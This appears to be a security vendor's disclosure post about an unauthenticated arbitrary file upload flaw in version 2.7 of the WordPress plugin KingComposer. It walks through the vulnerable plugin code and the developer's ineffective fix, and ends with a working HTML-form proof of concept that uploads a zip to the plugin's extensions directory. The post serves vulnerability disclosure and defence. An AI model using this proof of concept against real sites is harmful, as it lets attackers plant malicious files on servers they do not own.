16 May

Our Proactive Monitoring Caught a Newly Introduced Arbitrary File Upload Vulnerability in a Plugin with 50,000+ Active Installations

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability in a fairly popular plugin, of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the plugin KingComposer, which has 50,000+ active installations according to wordpress.org, version 2.7 introduced functionality for uploading extensions. That functionality is accessible to anyone, even those without access to admin page that is intended to be initiated from. That currently allows uploading arbitrary files, including malicious files, if the Extensions admin page of the plugin has ever been visited prior to the attempted exploitation.

The plugin runs the function init_first() whenever WordPress loads:

205
add_action( 'init', array( &$this, 'init_first' ), 0 );

That function, which is located in the file /kingcomposer.php, will cause the file /includes/kc.extensions.php to be included:

227
228
229
230
231
232
233
234
235
236
237
238
239
240
public function init_first(){
	/*
	*	Register maps
	*/
	require_once KC_PATH.'/includes/kc.maps.php';
	/*
	*	Register params
	*/
	require_once KC_PATH.'/includes/kc.param.types.php';
	/*
	*	This init action has highest priority
	*/
	require_once KC_PATH.'/includes/kc.extensions.php';
}

That file will cause a new instance of the class kc_extensions to be created:

380
new kc_extensions();

The construct function in that will run the function process_bulk_action() if is_admin() is true:

29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function __construct(){
 
	$this->path = untrailingslashit(ABSPATH).KDS.'wp-content'.KDS.'uploads'.KDS.'kc_extensions'.KDS;
 
	$this->scheme = is_ssl() ? 'https' : 'http';
	$this->api_url = $this->scheme.'://extensions.kingcomposer.com/';
 
	if (is_admin()) {
 
		add_action ('admin_menu', array( &$this, 'admin_menu' ), 1);
		if (isset($_GET['tab']) && !empty($_GET['tab']))
			$this->tab = $_GET['tab'];
		if (isset($_GET['page']) && !empty($_GET['page']))
			$this->page = $_GET['page'];
 
		add_action('kc_list_extensions_store', array(&$this, 'extensions_store'));
		add_action('kc_list_extensions_installed', array(&$this, 'extensions_installed'));
		add_action('kc_list_extensions_upload', array(&$this, 'extensions_upload'));
 
		$this->process_bulk_action();

is_admin() will return true if an admin page is being requested and can be true even if the request is coming from someone that is not logged in.

The function process_bulk_action() will run different code depending of the value of the POST input “action” specified:

248
249
250
251
252
253
254
255
256
257
public function process_bulk_action() {
 
	if( isset($_POST['action']) ){
 
		$actives = (array) get_option( 'kc_active_extensions', array() );
 
		$checked = isset($_POST['checked']) ? (array) $_POST['checked'] : array();
		$path = untrailingslashit(ABSPATH).KDS.'wp-content'.KDS.'uploads'.KDS.'kc_extensions'.KDS;
 
		switch ($_POST['action']){

If that input is set to “upload” the following code will run:

291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
case 'upload' : 
 
	$this->tab = 'upload';
 
	if (!class_exists('ZipArchive')) {
		$this->errors[] = 'Server does not support ZipArchive';
	} else if (
		(
			($_FILES["extensionzip"]["type"] == "application/zip") || 
			($_FILES["extensionzip"]["type"] == "application/x-zip") || 
			($_FILES["extensionzip"]["type"] == "application/x-zip-compressed")
		) && 
		($_FILES["extensionzip"]["size"] < 20000000) ) { if (move_uploaded_file($_FILES['extensionzip']['tmp_name'], $path.$_FILES['extensionzip']['name']) === true) { $zip = new ZipArchive; $res = $zip->open($path.$_FILES['extensionzip']['name']);
			if ($res === TRUE) {
 
				$ext = $zip->extractTo($path);

That code will unzip the contents of zip file and place them in the directory /wp-content/uploads/kc_extensions/. If that directory doesn’t currently exist then the zip file and its content cannot be placed in the directory. That directory is created during the first visit to the plugin’s Extensions admin page, which can be accessed by Administrator and Editor-level users.

We notified the developer of the plugin of the issue on April 16. They responded the same day with a proposed fix for the vulnerability, which didn’t do anything to fix it. The change, which was included in version 2.7.1, replaced the following line:

48
$this->process_bulk_action();

with

48
add_action('init', array(&$this, 'process_bulk_action'));

They explained that would cause the function “process_bulk_action()” to “run after WP core”. We are not sure what was supposed to be the point of that since the starting point of this code running already ran during “init”, when that function is now set to run.

We responded twice, first explaining that code didn’t resolve the issue and then in response to a response to that reply, that version 2.7.1 didn’t fix the issue. After our second response we didn’t receive any further response from the developer and the issue still has not been fixed despite a couple of versions being released since then. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will place the files in a specified zip file in to the directory /wp-content/uploads/kc_extensions/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload" />
<input type="file" name="extensionzip" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 16, 2018 – Developer notified.
  • April 16, 2018 – Developer responds.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

Leave a Reply

Your email address will not be published. Required fields are marked *